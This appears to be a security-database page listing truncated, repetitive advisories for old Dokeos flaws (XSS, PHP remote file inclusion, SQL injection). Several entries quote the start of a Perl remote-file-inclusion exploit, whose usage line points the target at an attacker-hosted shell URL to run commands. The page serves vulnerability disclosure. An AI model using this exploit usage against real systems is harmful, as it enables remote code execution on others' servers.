Dokeos claro_init_local.inc.php extAuthSource Parameter Array Remote File Inclusion

The remote host is running Dokeos, an open source, e-learning and course management web application written in PHP. The version of Dokeos installed on the remote host fails to sanitize input to the 'extAuthSource' parameter array before using it to include PHP code in the...

CVE-2006-3924

Multiple cross-site scripting XSS vulnerabilities in Dokeos before 1.6.5 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2006-3924

Multiple cross-site scripting XSS vulnerabilities in Dokeos before 1.6.5 allow remote attackers to inject arbitrary web script or HTML via unspecified vectors...

CVE-2006-3924

Dokeos 1.6.x is affected by CVE-2006-3924: multiple XSS vulnerabilities allowing remote script/HTML injection via unspecified vectors. Affected: Dokeos before 1.6.5 (component: web app, XSS in web pages). Root cause: cross-site scripting in the application, enabling partial integrity impact and p...

JVN#27794427 Dokeos cross-site scripting vulnerability

Impact An arbitrary script may be executed on the user's web browser. In particular, if session information from a cookie is leaked, an attacker could possibly conduct session hijacking. Solution Products Affected Dokeos version 1.6.4 Patch 1 and earlier...

CVE-2006-2285

PHP remote file inclusion vulnerability in authldap.php in Dokeos 1.6.4 allows remote attackers to execute arbitrary PHP code via a URL in the includePath parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in authldap.php in Dokeos 1.6.4 allows remote attackers to execute arbitrary PHP code via a URL in the includePath parameter...

Remote file inclusion

Multiple PHP remote file inclusion vulnerabilities in claroinitglobal.inc.php in Dokeos 1.6.3 and earlier, and Dokeos community release 2.0.3, allow remote attackers to execute arbitrary PHP code via a URL in the 1 rootSys and 2 clarolineRepositorySys parameters, and possibly the 3 langpath, 4...

CVE-2006-2285

PHP remote file inclusion vulnerability in authldap.php in Dokeos 1.6.4 allows remote attackers to execute arbitrary PHP code via a URL in the includePath parameter...

CVE-2006-2286

Multiple PHP remote file inclusion vulnerabilities in claroinitglobal.inc.php in Dokeos 1.6.3 and earlier, and Dokeos community release 2.0.3, allow remote attackers to execute arbitrary PHP code via a URL in the 1 rootSys and 2 clarolineRepositorySys parameters, and possibly the 3 langpath, 4...

CVE-2006-2286

CVE-2006-2286 affects Dokeos 1.6.3 and earlier and Dokeos community release 2.0.3. The issue is multiple PHP remote file inclusion in claro_init_global.inc.php, allowing an attacker to execute arbitrary PHP code by supplying a URL to several parameters (rootSys, clarolineRepositorySys, lang_path,...

CVE-2006-2285

CVE-2006-2285 affects Dokeos 1.6.4, exposing a PHP remote file inclusion in authldap.php. An attacker can supply a URL in the includePath parameter to cause arbitrary PHP code execution. The issue is documented across multiple sources (NVD/NIST, CVE records) with a CVSS v2 base score of 5.1 (Medi...

dokeos.txt

!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...

Dokeos Lms 1.6.4 - authldap.php Remote File Inclusion

Dokeos Lms 1.6.4 - authldap.php Remote File Inclusion !/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor:...

Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit

No description provided by source. !/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford xbefordx gmail com uso: perl own.pl host cmd-shell-url cmd-var perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: ? system$cm...

Dokeos Lms 1.6.4 - 'authldap.php' Remote File Inclusion

!/usr/bin/perl Dokeos Learning Management System 1.6.4 Remote File Include Exploit & Advisorie: beford uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ The file...

Dokeos LMS <= 1.6.4 (authldap.php) Remote File Include Exploit

Exploit for unknown platform in category web applications ============================================================== Dokeos LMS uso: perl own.pl perl own.pl http://host.com/dokeos/ http://atacante/shell.gif cmd cmd shell example: cmd variable: cmd; Description Vendor: http://www.dokeos.com/ T...

Dokeos < 1.6.4 / 2.0.3 Multiple Scripts Remote File Inclusion

The remote host is running Dokeos, an open source, e-learning and course management web application written in PHP. The version of Dokeos installed on the remote host fails to sanitize user-supplied input to several parameters before using it in several scripts to include PHP code from other file...

Dokeos 1.x - 'viewtopic.php' SQL Injection

source: https://www.securityfocus.com/bid/17463/info Dokeos is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an attacker to compromise the...

Dokeos 1.x - viewtopic.php SQL Injection

Dokeos 1.x - viewtopic.php SQL Injection source: https://www.securityfocus.com/bid/17463/info Dokeos is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could...